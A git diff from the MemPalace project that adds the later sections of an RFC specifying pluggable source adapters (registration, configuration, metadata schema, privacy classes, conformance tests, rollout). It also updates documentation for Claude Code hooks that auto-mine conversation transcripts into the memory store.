+Adapters advertising `adapter_owns_routing` return the final answer; core uses it verbatim. Adapters not advertising it return None and core applies a generic fallback router (writing to wing `default`, room `general`, hall `general`). Absent any adapter, this is how `mempalace mine` behaves today.
+
+### 2.6 Incremental ingest
+
+`is_current()` is the incremental-ingest primitive. The palace itself is the cursor — no separate persisted state. Correctness requirements:
+
+- The adapter's `SourceItemMetadata.source_file` MUST be stable across re-ingests of the same logical item. Filesystem adapter uses the absolute path (as today). Git adapter uses a URI shape like `github.com/org/repo#pr=567` or `github.com/org/repo#commit=abc123`.
+- `is_current()` returns True when the stored metadata matches the adapter's current version token. The default implementation returns False (always re-extract) — adapters advertising `supports_incremental` override.
+- Deletion tombstones: an adapter MAY yield a `SourceItemMetadata(source_file=..., version="__deleted__")` entry — core purges drawers with matching `source_file` and builds no new drawers for that item. Advertised via `supports_deletion_tombstones`.
+- Adapters without `supports_incremental` ignore `is_current()` and fully re-extract. Core logs a warning.
+
+### 2.7 Errors
+
+- `SourceNotFoundError` — the `SourceRef` does not resolve.
+- `AuthRequiredError` — adapter needs credentials; raises with a message describing which env vars to set.
+- `AdapterClosedError` — method called after `close()`.
+- `TransformationViolationError` — conformance suite raises this when the content round-trip requires an undeclared transformation.
+- `SchemaConformanceError` — a `DrawerRecord.metadata` is missing required fields declared in `describe_schema()` or violates declared types.
+
+---
+
+## 3. Registration and discovery
+
+### 3.1 Entry points (primary mechanism)
+
+Third-party adapters ship as installable packages:
+
+```toml
+# pyproject.toml of mempalace-source-cursor
+[project.entry-points."mempalace.sources"]
+cursor = "mempalace_source_cursor:CursorAdapter"
+```
+
+MemPalace discovers adapters at process start via `importlib.metadata.entry_points(group="mempalace.sources")`.
+
+### 3.2 In-tree registry (secondary)
+
+```python
+from mempalace.sources.registry import register
+
+register("my-experimental-adapter", MyAdapter)
+```
+
+Entry-point discovery and explicit `register()` populate the same registry. Explicit registration wins on name conflict.
+
+### 3.3 Selection (explicit only — no auto-detect)
+
+Unlike storage backends (RFC 001 §3.3), source adapters are never auto-detected. The user selects the adapter explicitly:
+
+```bash
+mempalace mine --source cursor ~/                      # explicit adapter
+mempalace mine --source git /path/to/repo              # explicit adapter
+mempalace mine --source filesystem /path/to/project    # explicit adapter
+mempalace mine /path/to/project                        # implicit: filesystem (default)
+```
+
+The default when no `--source` is given is `filesystem`, preserving current `mempalace mine <path>` behavior.
+
+**Backwards compatibility with `--mode`.** Current `cli.py:517-519` exposes `--mode {projects,convos}`. This spec maps:
+- `--mode projects` → `--source filesystem` (the new default)
+- `--mode convos` → `--source conversations`
+
+`--mode` stays as a deprecated alias through v4.x with a deprecation warning on use; removed in v5.0.
+
+Auto-detection would be hostile — a directory containing a `.git` folder, a `workspaceStorage/` subdir, and an `mbox` file is not a signal of user intent.
+
+---
+
+## 4. Configuration
+
+### 4.1 Shape
+
+```json
+{
+  "sources": {
+    "my-cursor": {
+      "type": "cursor",
+      "workspace_storage": "~/Library/Application Support/Cursor/User/workspaceStorage"
+    },
+    "my-git": {
+      "type": "git",
+      "repos": ["/projects/mempalace", "/projects/site"]
+    }
+  },
+  "palaces": {
+    "work": {
+      "sources": ["my-git"],
+      "privacy_floor": "internal"
+    },
+    "personal": {
+      "sources": ["my-cursor"]
+    }
+  }
+}
+```
+
+Single-user local mode: config is optional. `mempalace mine <path>` with no config uses the `filesystem` adapter and defaults.
+
+### 4.2 Environment variables
+
+- `MEMPALACE_SOURCE_<NAME>_*` — per-adapter secrets and connection info. Examples: `MEMPALACE_SOURCE_SLACK_TOKEN`, `MEMPALACE_SOURCE_NOTION_API_KEY`, `MEMPALACE_SOURCE_GIT_GITHUB_TOKEN`.
+- Secrets MUST be readable from env vars; config files carry structure, env vars carry credentials. Same rule as RFC 001 §4.2.
+
+### 4.3 Adapter-specific options
+
+`SourceRef.options` is a free-form dict of non-secret values (§2.2). Each adapter documents its accepted keys. Unknown keys MUST be ignored (forward compatibility); the adapter MAY log a warning.
+
+---
+
+## 5. Metadata schema contract
+
+### 5.1 Universal fields
+
+Existing drawer metadata fields are preserved — the spec adds the following:
+
+| New field | Type | Added by | Purpose |
+|---|---|---|---|
+| `adapter_name` | `str` | core, from `BaseSourceAdapter.name` | Which registered source produced this drawer. |
+| `adapter_version` | `str` | adapter | Adapter's own version (distinct from palace `normalize_version`). Enables re-extract workflows targeted at drawers from a known-buggy adapter version. |
+| `privacy_class` | `str` | adapter default, config override | Per §6. |
+
+Existing fields retain their current semantics (verified against `miner.py:542-561` and `convo_miner.py:338-350`):
+
+| Existing field | Role in the spec |
+|---|---|
+| `source_file` | Functions as the adapter's source-item identifier. Adapter defines the shape — a filesystem path for filesystem, a URI like `github.com/org/repo#pr=123` for git. MUST be stable across re-ingests of the same logical item. |
+| `source_mtime` | Functions as the source-item version for filesystem. Adapters without mtime semantics MAY omit this field and use a different version discriminator (e.g., commit SHA in a separate `metadata["commit_sha"]` field); the spec only requires that `is_current()` can decide staleness from the stored metadata. |
+| `filed_at` | When the record was written. ISO-8601 string. |
+| `added_by` | Agent name (e.g., `lumi`, `claude-code`). Orthogonal to `adapter_name` — the agent is *who* triggered mining; the adapter is *how* data was extracted. |
+| `wing`, `room`, `hall` | Palace routing. Populated by adapter per §2.5. |
+| `chunk_index` | Per §1.6. Always 0 for `whole_record` / `metadata_only`. |
+| `normalize_version` | Palace-wide schema version (currently `palace.py:50`). Unchanged. Separate from `adapter_version`. |
+| `entities` | Semicolon-joined candidate entity names. Already flat; kept flat (§5.4 replacement). |
+| `ingest_mode` | Per §1.5. Already on conversation drawers; added to filesystem drawers by the cleanup PR. |
+| `extract_mode` | Conversation-adapter-specific (`exchange` vs `general`). Moves into the conversations adapter's declared schema per §5.2. |
+
+**Nothing is renamed. Nothing is removed.** The spec formalizes the shape ingesters already converge on. Existing `where={"source_file": ...}` queries in `searcher.py`, `palace.py`, and callers keep working.
+
+**Chroma metadata constraint:** all metadata values MUST be `str | int | float | bool`. No lists, no nested dicts. This matches RFC 001 §1.4 and the underlying ChromaDB contract. Structured side-data goes to the SQLite knowledge graph (§5.5) or to a declared flat JSON-encoded string field (§5.4).
+
+### 5.2 Adapter schemas
+
+Each adapter returns an `AdapterSchema` from `describe_schema()`:
+
+```python
+@dataclass(frozen=True)
+class AdapterSchema:
+    fields: dict[str, FieldSpec]   # Keyed by metadata key.
+    version: str
+
+@dataclass(frozen=True)
+class FieldSpec:
+    type: Literal["string", "int", "float", "bool", "delimiter_joined_string", "json_string"]
+    required: bool
+    description: str
+    indexed: bool = False           # Hint to backends that can build indexes (RFC 001 §2.1).
+    # delimiter_joined_string: the delimiter character (default ";").
+    delimiter: str = ";"
+    # json_string: the JSON schema of the encoded object (informational only).
+    json_schema: dict | None = None
+```
+
+`delimiter_joined_string` covers the `entities` shape (current `;`-joined list of names). `json_string` is the escape hatch for adapters needing to pack nested data — the value stored is still a single flat `str` from Chroma's perspective, but the adapter is allowed to document its parsed shape.
+
+Example for a hypothetical `slack` adapter:
+
+```python
+AdapterSchema(
+    version="1.0",
+    fields={
+        "channel_name": FieldSpec(type="string", required=True, description="Slack channel name", indexed=True),
+        "channel_id": FieldSpec(type="string", required=True, description="Slack channel ID"),
+        "thread_ts": FieldSpec(type="string", required=False, description="Thread root timestamp"),
+        "author_id": FieldSpec(type="string", required=True, description="Slack user ID", indexed=True),
+        "author_name": FieldSpec(type="string", required=True, description="Display name at extraction time"),
+        "reactions": FieldSpec(type="delimiter_joined_string", required=False, description="Emoji shortcodes"),
+    },
+)
+```
+
+### 5.3 Enterprise keying
+
+The adapter schema is the stable surface enterprises filter on. A support team querying the palace for `channel_id = "C01234"` does not care about ChromaDB's internal representation. The schema field is declared by the adapter, indexed by the backend (RFC 001 §2.1 `supports_metadata_filters`), and exposed through the existing `where=` clause.
+
+This is how "structured data" serves company use cases without breaking transformation guarantees: declared-transformation content in the drawer, structured fields in the metadata, schema declared by the adapter, filtering done by the backend.
+
+### 5.4 Entity hints (optional)
+
+Adapters with `supports_entity_hints` MAY include:
+
+```python
+metadata["entity_hints_json"] = '[{"type":"person","name":"Milla Jovovich","confidence":0.95,"offset":120},{"type":"project","name":"MemPalace","confidence":1.0,"offset":0}]'
+```
+
+The value is a JSON-encoded string (type `json_string` in the adapter schema). Core parses on read and feeds into `mempalace/entity_detector.py` as a prior: hints with `confidence >= 0.9` bypass the heuristic detector; lower-confidence hints feed into it as candidates.
+
+This is additive to the existing flat `entities` field — entity_hints carries structure (type, confidence, offset); `entities` remains the Chroma-indexable flat string. An adapter that produces entity_hints MUST also populate `entities` as the flat name-only projection, so existing filter queries keep working.
+
+### 5.5 Knowledge-graph triples (optional)
+
+Adapters with `supports_kg_triples` write directly to the SQLite knowledge graph via `mempalace/knowledge_graph.py` — **not** to drawer metadata. Chroma cannot store structured triples; the KG already exists for this purpose.
+
+The adapter calls the existing `KnowledgeGraph.add_triple()` (signature verified against `mempalace/knowledge_graph.py:130`):
+
+```python
+palace.kg.add_triple(
+    subject="Ben",
+    predicate="committed",
+    obj="PR-567",                    # `object` is a Python builtin — the API uses `obj`.
+    valid_from="2026-03-12",
+    confidence=1.0,
+    source_file=drawer.source_file,  # Existing provenance parameter.
+)
+```
+
+Drawer metadata includes a flat counter — `metadata["kg_triples_count"]: int` — so search consumers can see at a glance that KG side-data exists for a drawer without hitting SQLite.
+
+The existing API has `source_closet` and `source_file` provenance parameters but no `source_drawer_id` or `adapter_name`. The cleanup PR (§9) should add these two optional parameters to `add_triple()` so adapter-written triples can be traced back to (a) the specific drawer that produced them and (b) the adapter that authored them — necessary for re-extraction workflows. Until that lands, adapters use `source_file` as the provenance key and record adapter authorship via a separate table or a predicate naming convention (e.g., `adapter:git:committed`).
+
+This aligns with the existing architecture in `CLAUDE.md` ("Knowledge Graph: ENTITY → PREDICATE → ENTITY with valid_from / valid_to dates") — the RFC formalizes the adapter-side write path.
+
+### 5.6 Source encoding and newline
+
+Current ingesters handle encoding lossily (`errors="replace"` in `miner.py:595` and `normalize.py:124`) and do not record original encoding. The spec does **not** require per-drawer `source_encoding` / `source_newline` — most runs are uniform UTF-8 / LF, and storing the same value on every drawer wastes bytes.
+
+Instead: adapters that handle non-UTF-8 or non-LF sources record the values once on the adapter's `SourceSummary` and per-drawer only when a specific drawer diverges from the adapter default. The `utf8_replace_invalid` declared transformation (§1.4) already communicates that lossy decoding happened; specific drawer-level provenance is opt-in.
+
+---
+
+## 6. Privacy class
+
+### 6.1 Defined levels
+
+| Level | Meaning | Example sources |
+|---|---|---|
+| `public` | Content intended for public consumption. | arXiv papers, public GitHub repos, published blogs. |
+| `internal` | Organizational content, not for public disclosure. | Corporate Slack, internal Notion, private git repos. |
+| `pii_potential` | May contain personally identifiable information. | Email, iMessage, Claude/ChatGPT transcripts. |
+| `sensitive` | Known to contain PII, financial, or health data. | Medical records, financial statements, legal filings. |
+| `secrets_possible` | May contain credentials or secrets. | Git history, environment dumps, CI logs. |
+
+An adapter declares a default on `BaseSourceAdapter.default_privacy_class`. Users MAY override per-source in config.
+
+### 6.2 Enforcement
+
+- Each palace declares a `privacy_floor`. Drawers above the floor (equal to or laxer) are admitted; drawers below are rejected at write time and surfaced in a `rejected` list on the CLI and MCP tool.
+- **Default floor: none** — v1 accepts all levels unless the palace explicitly configures a floor. This keeps the single-user local default low-friction (users who run `mempalace mine` on a git repo expect `secrets_possible` drawers to land). Enterprise deployments MUST set a floor; docs for regulated-domain setup will recommend starting strict and relaxing as needed.
+- Search results surface `privacy_class` in result metadata. MCP tool wrappers MAY redact results above a caller-declared ceiling.
+- `secrets_possible` drawers SHOULD pass through a secrets-scan pre-index hook when one is available. PR #389 (sensitive content scanner) is the expected enforcement mechanism for v1; until it lands, `secrets_possible` is a label without automated scanning. The label is still useful — it enables floor-based rejection and alerts downstream consumers.
+- The privacy class is recorded in drawer metadata and cannot be downgraded without a migration log entry, matching RFC 001's embedder-identity pattern.
+
+Privacy class is how a regulated-domain deployment (medical, legal, financial) can use MemPalace safely. Without it, flexible ingest becomes a liability; with it, ingest is scoped by policy.
+
+---
+
+## 7. Testing contract
+
+### 7.1 The abstract suite
+
+MemPalace ships `mempalace.sources.testing.AbstractSourceAdapterContractSuite` — a pytest mixin. Every adapter package ships a concrete subclass:
+
+```python
+from mempalace.sources.testing import AbstractSourceAdapterContractSuite
+
+class TestCursorAdapter(AbstractSourceAdapterContractSuite):
+    @pytest.fixture
+    def adapter(self):
+        return CursorAdapter()
+
+    @pytest.fixture
+    def fixture_source(self, tmp_path):
+        """Build a minimal Cursor workspaceStorage fixture."""
+        ...
+        return SourceRef(local_path=str(tmp_path))
+
+    @pytest.fixture
+    def canonical_source_bytes(self, fixture_source):
+        """Return a mapping of source_file -> authoritative bytes.
+
+        For filesystem sources: the file's raw bytes.
+        For SQLite sources: the extracted value column bytes for each row.
+        For API sources: the canonical HTTP response body bytes.
+
+        Adapter-defined — the adapter knows what its 'source bytes' are.
+        """
+        ...
+```
+
+The suite covers:
+
+- `ingest` yields items with stable `source_file` and well-formed `version`.
+- `is_current()` returns True when metadata matches, False when it differs.
+- `close()` releases resources; subsequent calls raise `AdapterClosedError`.
+- Unicode content and unicode identifiers are preserved end-to-end.
+- Large-source handling: 10k+ items ingest without loading all into memory.
+- Error paths: `SourceNotFoundError`, `AuthRequiredError` raise with correct types.
+- `SourceRef.options` MUST NOT contain secrets — the adapter raises if it detects a value matching a common-secret pattern (GitHub token prefix, Slack token prefix, etc.). Advisory test, not blocking.
+
+### 7.2 Byte-preserving round-trip (for `byte_preserving` adapters only)
+
+Required for adapters advertising `byte_preserving`:
+
+```python
+def test_byte_preserving_round_trip(self, adapter, fixture_source, canonical_source_bytes):
+    """Concatenated chunks must equal the canonical source bytes.
+
+    For each source_file in the fixture:
+      1. Read canonical_source_bytes[source_file].
+      2. Collect all DrawerRecords for that source_file from adapter.ingest(...).
+         Skip metadata_only drawers (§1.5).
+      3. Sort by chunk_index.
+      4. Concatenate record.content values.
+      5. Assert equality with the canonical bytes (UTF-8 decoded).
+    """
+```
+
+Failure raises `TransformationViolationError`.
+
+### 7.3 Declared-transformation round-trip (for `declared_lossy` adapters)
+
+Required for adapters with non-empty `declared_transformations`:
+
+```python
+def test_declared_transformation_round_trip(self, adapter, fixture_source, canonical_source_bytes):
+    """Adapter output must be reproducible by applying ONLY declared transformations.
+
+    1. For each source_file, read canonical_source_bytes.
+    2. Apply each declared transformation in declared_transformations to the bytes,
+       in the order declared by the adapter, using the reference implementations
+       in mempalace.sources.transforms.
+    3. Compare the result to the concatenated record.content values.
+    4. If they differ, the adapter has applied a transformation it did not declare.
+       Raise TransformationViolationError.
+    """
+```
+
+For transformations not in the reserved list (§1.4) — adapter-custom names — the adapter MUST provide a reference implementation callable under `mempalace.sources.transforms.<adapter_name>_<transform_name>`. The conformance suite imports and applies it. Undiscoverable custom transforms fail the test.
+
+### 7.4 Schema conformance
+
+A generator-based property test validates that every record yielded by `ingest` across the fixture source has metadata matching `describe_schema()`. Missing required fields, wrong types, or (in strict mode) undeclared fields fail the test.
+
+### 7.5 Note on current corpus
+
+No existing test in `tests/` asserts byte-preservation or declared-transformation correctness (verified via grep of `tests/` for `verbatim|byte.?preserv|round.?trip`). This RFC's conformance suite introduces the first such coverage. The existing MISSION.md claim of "verbatim always" is a social contract until this lands; afterward it becomes a machine-verified property of adapters that declare `byte_preserving`.
+
+---
+
+## 8. Versioning and compatibility
+
+- `BaseSourceAdapter.spec_version` declares which spec version an adapter implements.
+- MemPalace refuses to load an adapter declaring a different major spec version.
+- Minor spec versions are additive: new optional methods, new capability tokens, new reserved transformation names, new universal metadata fields with sensible defaults.
+- Adapters MAY declare their own `adapter_version` independent of the spec version; this is recorded on every drawer (§5.1) and enables "this drawer was extracted by cursor-adapter 0.3; 0.4 fixed a parsing bug; re-extract affected drawers" workflows.
+- This is spec v1.0.
+
+---
+
+## 9. Cleanup prerequisite (not in this spec, but gating)
+
+The existing in-tree ingesters are not adapter-shaped. Before RFC 002 can be enforced, the following refactor lands in a separate PR:
+
+- Introduce `mempalace/sources/base.py` defining `BaseSourceAdapter`, the typed records, and the registry.
+- Introduce `mempalace/sources/transforms.py` with reference implementations of every reserved transformation in §1.4. Adapters and the conformance suite both consume these.
+- `mempalace/miner.py` → `mempalace/sources/filesystem.py` implementing `BaseSourceAdapter`. Current behavior preserved: 800-char chunking becomes the adapter's default; `READABLE_EXTENSIONS` moves to the adapter; `detect_room()` and `detect_hall()` move to the adapter per §2.5. `declared_transformations = frozenset({"utf8_replace_invalid", "whitespace_trim"})`.
+- `mempalace/convo_miner.py` → `mempalace/sources/conversations.py`. Exchange-pair chunking stays. The format-detection logic in `normalize.py` becomes per-format plugins the conversations adapter composes (one for Claude Code JSONL, one for Codex JSONL, one for ChatGPT mapping trees, one for Claude.ai JSON, one for Slack JSON) — each small and independently testable, eliminating the `if source_type` chain. `declared_transformations` enumerates every transformation `normalize.py` and `convo_miner._chunk_by_exchange` actually perform (see §1.4 "Existing code mapping").
+- Closet-building wired into the conversations adapter's post-step (currently missing, per §1.7) — side effect of routing through the unified core post-step.
+- `mempalace/cli.py` subcommand `mine` routes through the `mempalace.sources` registry. `--mode {projects,convos}` becomes a deprecated alias for `--source {filesystem,conversations}`.
+- `mempalace/mcp_server.py` `mempalace_mine` tool accepts a `source` parameter.
+- `mempalace/palace.py` exposes `PalaceContext` — a per-mine-invocation facade that bundles the drawer collection, closet collection, knowledge graph, palace config, and progress hooks. Adapters receive this; they do not import `palace.py` directly.
+- `NORMALIZE_VERSION` (currently a module-level constant in `palace.py:50`) stays. It is the palace-wide schema version, orthogonal to per-adapter `adapter_version`.
+- `KnowledgeGraph.add_triple()` (`knowledge_graph.py:130`) gains two optional parameters: `source_drawer_id: str = None` and `adapter_name: str = None`. Existing callers are unaffected; adapters advertising `supports_kg_triples` (§5.5) populate both. Backwards-compatible change.
+
+This cleanup is substantial — comparable to RFC 001 §10's chroma-import removal — and should land before any new third-party adapter PR merges. Each new adapter is easier after the cleanup, not harder.
+
+---
+
+## 10. Impact on in-flight PRs
+
+| PR / Issue | Effort to align |
+|---|---|
+| [#274](https://github.com/MemPalace/mempalace/issues/274) Cursor SQLite | Becomes `mempalace-source-cursor` third-party package. Author has a working prototype on Windows; needs `describe_schema()`, `declared_transformations`, and the conformance suite. Prior #287 (closed unmerged) is predecessor work. |
+| [#23](https://github.com/MemPalace/mempalace/pull/23) OpenCode SQLite | Becomes `mempalace-source-opencode`. Same shape as Cursor. |
+| [#169](https://github.com/MemPalace/mempalace/pull/169) Pi agent | Becomes `mempalace-source-pi` or a format plugin under the conversations adapter (depending on format similarity). |
+| [#232](https://github.com/MemPalace/mempalace/pull/232) Cursor JSONL | Deprecated in favor of #274's SQLite path; or a second mode of `mempalace-source-cursor`. |
+| [#567](https://github.com/MemPalace/mempalace/pull/567), [#98](https://github.com/MemPalace/mempalace/pull/98) git-mine | Closest existing work to what the spec envisions. Becomes first-party `mempalace/sources/git.py`. Exercises `whole_record` mode, `supports_structured_metadata`, `supports_closet_hints` (decision-signal quotes), `supports_kg_triples` (commit authorship, PR review relationships). |
+| [#591](https://github.com/MemPalace/mempalace/pull/591), [#592](https://github.com/MemPalace/mempalace/pull/592) Delphi Oracle | Deferred. The live-stream pattern is out of scope for v1 (§Non-goals). A v1.1 addition will specify webhook/stream adapters. |
+| [#702](https://github.com/MemPalace/mempalace/pull/702) Cursor + factory.ai | Splits into two adapter packages. |
+| [#981](https://github.com/MemPalace/mempalace/issues/981) path-level descriptions | Absorbed by §1.5 `metadata_only` mode + §5.1 `ingest_mode`. A new first-party `descriptions` adapter or a second mode on `filesystem`. |
+| [#244](https://github.com/MemPalace/mempalace/pull/244) Cursor memory-first MCP workflow docs | Points at `mempalace-source-cursor` once the adapter lands. |
+| [#419](https://github.com/MemPalace/mempalace/pull/419), [#300](https://github.com/MemPalace/mempalace/pull/300), [#952](https://github.com/MemPalace/mempalace/pull/952) language-extension additions to `READABLE_EXTENSIONS` | Becomes per-language config on the filesystem adapter. Contributors can publish domain-specific adapters without touching core. |
+| [#389](https://github.com/MemPalace/mempalace/pull/389) sensitive content scanner | Expected enforcement mechanism for the `secrets_possible` privacy class (§6.2). Not a blocker for this spec, but a natural consumer. |
+| [#434](https://github.com/MemPalace/mempalace/pull/434) auto-populate KG from drawers | Complementary: post-hoc derivation of KG triples from drawer content. Adapters with `supports_kg_triples` provide the up-front path; #434 handles everything else. |
+
+---
+
+## 11. Open questions
+
+1. **Cross-adapter dedup.** When a PR body is mined via `git` AND shows up as a conversation quote mined via `claude-code`, both drawers land. Is query-time dedup in `searcher.py` sufficient, or should core maintain a content-hash index across adapters? Declared non-goal in v1 but worth revisiting if user feedback demands it.
+2. **Live-stream pattern.** Delphi Oracle (#591/592) and potentially Slack/Discord real-time ingestion need a push-mode contract. This is a v1.1 addition (streaming adapter trait + webhook surface), not blocking.
+3. **LLM-assisted structured extraction.** Some adapters will want to call an LLM to extract structured fields. The spec does not standardize this — should it? Argument for: conformance test for LLM-driven fields, consistent caching. Argument against: local-first / zero-API is a core promise; LLM dependencies are opt-in per adapter.
+4. **Adapter-vs-format split for conversations.** §9 proposes format plugins composed under a single conversations adapter. Alternative: one adapter per format (claude-code, chatgpt, codex, cursor-jsonl, slack). The trade-off is discoverability (one adapter is easier to find) vs. encapsulation (format plugins are simpler to test). Preference leans toward the single-adapter + plugin model; open to counter-argument.
+5. **Default `privacy_floor`.** v1 defaults to none (§6.2) so single-user local mining is frictionless. An argument exists for defaulting to `pii_potential` — forces regulated-domain users to opt in to sensitive levels rather than opt out. Open to changing the default before v1 ships.
+6. **`canonical_source_bytes` for API-backed adapters.** §7.1 defines this as adapter-declared. For API-backed adapters (Slack, Notion), what constitutes "canonical bytes" in a conformance test — the fixture's captured HTTP response? A serialized representation of the parsed object? Leaves to the adapter; may need a follow-up spec for common conventions.
+7. **`adapter_version` bump semantics.** When does an adapter bump `adapter_version`? On any behavior change? On declared-transformation changes only? Suggests a follow-up doc on adapter SemVer conventions for the community to agree on.
+
+---
+
+## 12. Rollout
+
+1. Land the cleanup PR (§9): introduce `mempalace/sources/`, refactor `miner.py` → filesystem adapter, `convo_miner.py` → conversations adapter, route CLI and MCP through the sources registry. Behavior preserved end-to-end. Closets get built for conversation drawers as a side effect.
+2. Land this spec as-is. Add `AbstractSourceAdapterContractSuite`, entry-point discovery, `AdapterSchema` validation, privacy-class enforcement (floor-gated writes), declared-transformation reference implementations in `mempalace/sources/transforms.py`.
+3. Land `mempalace/sources/git.py` as the first-party adapter absorbing #567. Exercises `whole_record`, `supports_structured_metadata`, `supports_closet_hints`, `supports_kg_triples` together.
+4. Encourage the Cursor (#274), OpenCode (#23), and Pi (#169) authors to publish as third-party packages under `mempalace-source-*`. Offer review help against the spec.
+5. Publish adapter-authoring docs at [mempalaceofficial.com/guide/authoring-sources](https://mempalaceofficial.com/guide/authoring-sources.html).
+6. Update [ROADMAP.md](../../ROADMAP.md) with spec v1.0 adoption under v4.0.0-alpha.

examples/HOOKS_TUTORIAL.md

@@ -25,4 +25,27 @@ Add this to your configuration file to enable automatic background saving:
       }
     ]
   }
-}
+}
+```
+
+### 3. What changed (v3.1.0+)
+
+Both hooks now have **two-layer capture**:
+
+1. **Auto-mine**: Before blocking the AI, the hook runs the normalizer on the JSONL transcript and upserts chunks directly into the palace. This captures raw tool output (Bash results, search findings, build errors) that the AI would otherwise summarize away.
+
+2. **Updated reason messages**: The block reason now explicitly tells the AI to save tool output verbatim — not just topics and decisions.
+
+### 4. Backfill past conversations (one-time)
+
+The hooks capture conversations going forward, but you probably have months of past sessions. Run this once to mine them all:
+
+```bash
+mempalace mine ~/.claude/projects/ --mode convos
+```
+
+### 5. Configuration
+
+- **`SAVE_INTERVAL=15`** — How many human messages between saves
+- **`MEMPALACE_PYTHON`** — Python interpreter with mempalace + chromadb. Auto-detects: env var → repo venv → system python3
+- **`MEMPAL_DIR`** — Optional directory for auto-ingest via `mempalace mine`

examples/mcp_setup.md

@@ -5,13 +5,13 @@
 Run the MCP server:
 
 ```bash
-python -m mempalace.mcp_server
+mempalace-mcp
 ```
 
 Or add it to Claude Code:
 
 ```bash
-claude mcp add mempalace -- python -m mempalace.mcp_server
+claude mcp add mempalace -- mempalace-mcp
 ```
 
 ## Available Tools

hooks/README.md

@@ -6,10 +6,10 @@ These hook scripts make MemPalace save automatically. No manual "save" commands
 
 | Hook | When It Fires | What Happens |
 |------|--------------|-------------|
-| **Save Hook** | Every 15 human messages | Blocks the AI, tells it to save key topics/decisions/quotes to the palace |
-| **PreCompact Hook** | Right before context compaction | Emergency save — forces the AI to save EVERYTHING before losing context |
+| **Save Hook** | Every 15 human messages | Auto-mines transcript (tool output included), then blocks the AI to save topics/decisions/quotes |
+| **PreCompact Hook** | Right before context compaction | Auto-mines transcript, then emergency save — forces the AI to save EVERYTHING before losing context |
 
-The AI does the actual filing — it knows the conversation context, so it classifies memories into the right wings/halls/closets. The hooks just tell it WHEN to save.
+**Two-layer capture:** Hooks auto-mine the JSONL transcript directly into the palace (capturing raw tool output — Bash results, search findings, build errors). They also block the AI with a reason message telling it to save verbatim tool output and key context. Belt and suspenders — tool output gets stored even if the AI summarizes instead of quoting.
 
 ## Install — Claude Code
 
@@ -68,6 +68,7 @@ Edit `mempal_save_hook.sh` to change:
 - **`SAVE_INTERVAL=15`** — How many human messages between saves. Lower = more frequent saves, higher = less interruption.
 - **`STATE_DIR`** — Where hook state is stored (defaults to `~/.mempalace/hook_state/`)
 - **`MEMPAL_DIR`** — Optional. Set to a conversations directory to auto-run `mempalace mine <dir>` on each save trigger. Leave blank (default) to let the AI handle saving via the block reason message.
+- **`MEMPALACE_PYTHON`** — Optional env var. Python interpreter with mempalace + chromadb installed. Auto-detects: `MEMPALACE_PYTHON` env var → repo `venv/bin/python3` → system `python3`. Set this if your venv is in a non-standard location.
 
 ### mempalace CLI
 
@@ -91,15 +92,19 @@ User sends message → AI responds → Claude Code fires Stop hook
                                             ↓
                               ┌─── < 15 since last save ──→ echo "{}" (let AI stop)
                               │
-                              └─── ≥ 15 since last save ──→ {"decision": "block", "reason": "save..."}
-                                                                    ↓
-                                                            AI saves to palace
-                                                                    ↓
-                                                            AI tries to stop again
-                                                                    ↓
-                                                            stop_hook_active = true
-                                                                    ↓
-                                                            Hook sees flag → echo "{}" (let it through)
+                              └─── ≥ 15 since last save
+                                            ↓
+                                    Auto-mine transcript → palace (tool output captured)
+                                            ↓
+                                    {"decision": "block", "reason": "save tool output verbatim..."}
+                                            ↓
+                                    AI saves to palace (topics, decisions, quotes)
+                                            ↓
+                                    AI tries to stop again
+                                            ↓
+                                    stop_hook_active = true
+                                            ↓
+                                    Hook sees flag → echo "{}" (let it through)
 ```
 
 The `stop_hook_active` flag prevents infinite loops: block once → AI saves → tries to stop → flag is true → we let it through.
@@ -109,14 +114,18 @@ The `stop_hook_active` flag prevents infinite loops: block once → AI saves →
 ```
 Context window getting full → Claude Code fires PreCompact
                                         ↓
-                                Hook ALWAYS blocks
+                                Find transcript (from input or session_id lookup)
+                                        ↓
+                                Auto-mine transcript → palace (tool output captured)
+                                        ↓
+                                {"decision": "block", "reason": "save tool output verbatim..."}
                                         ↓
                                 AI saves everything
                                         ↓
                                 Compaction proceeds
 ```
 
-No counting needed — compaction always warrants a save.
+No counting needed — compaction always warrants a save. The auto-mine captures raw tool output before the AI gets a chance to summarize it away.
 
 ## Debugging
 
@@ -137,6 +146,36 @@ Example output:
 
 **Hooks require session restart after install.** Claude Code loads hooks from `settings.json` at session start only. If you run `mempalace init` or manually edit hook config mid-session, the hooks won't fire until you restart Claude Code. This is a Claude Code limitation.
 
+**`MEMPAL_PYTHON` override for the hook's internal Python calls.** The save hook parses its JSON input and counts transcript messages with `python3`. When the harness is launched from a GUI on macOS — `open -a`, Spotlight, the dock — its `PATH` is the minimal `/usr/bin:/bin:/usr/sbin:/sbin` inherited from `launchd`, not your shell PATH. If `python3` isn't on that PATH, those internal calls fail and the hook can't count exchanges.
+
+Point the hook at any Python 3 interpreter to fix it:
+
+```bash
+export MEMPAL_PYTHON="/usr/bin/python3"                   # system Python is fine
+export MEMPAL_PYTHON="$HOME/.venvs/mempalace/bin/python"  # or your venv
+```
+
+Resolution priority: `$MEMPAL_PYTHON` (if set and executable) → `$(command -v python3)` → bare `python3`. The interpreter only needs `json` and `sys` from the standard library — `mempalace` itself does not need to be installed in it.
+
+Note: the `mempalace mine` auto-ingest runs via the `mempalace` CLI, so that command also needs to be on the hook's `PATH`. Installing with `pipx install mempalace` or `uv tool install mempalace` puts it on a stable global location; otherwise extend the hook environment's `PATH` to include your venv's `bin/`.
+
+## Backfill Past Conversations
+
+The hooks only capture conversations going forward. To mine **past** Claude Code sessions into your palace, run a one-time backfill:
+
+```bash
+mempalace mine ~/.claude/projects/ --mode convos
+```
+
+This scans all JSONL transcripts from previous sessions and files them into the `conversations` wing. On a typical developer machine with months of history, this can yield 50K–200K drawers.
+
+For Codex CLI sessions:
+```bash
+mempalace mine ~/.codex/sessions/ --mode convos
+```
+
+This only needs to be done once — after that, the hooks auto-mine each session as you go.
+
 ## Cost
 
 **Zero extra tokens.** The hooks notify the AI that saves happened in the background — the AI doesn't need to write anything in the chat. All filing is handled automatically. Previous versions asked the AI to write diary entries and drawer content in the chat window, which cost ~$1/session in retransmitted tokens.

hooks/mempal_precompact_hook.sh

@@ -54,10 +54,17 @@ mkdir -p "$STATE_DIR"
 # Leave empty to skip auto-ingest (AI handles saving via the block reason).
 MEMPAL_DIR=""
 
+# Resolve the Python interpreter. Same contract as mempal_save_hook.sh:
+# MEMPAL_PYTHON (explicit override) → $(command -v python3) → bare python3.
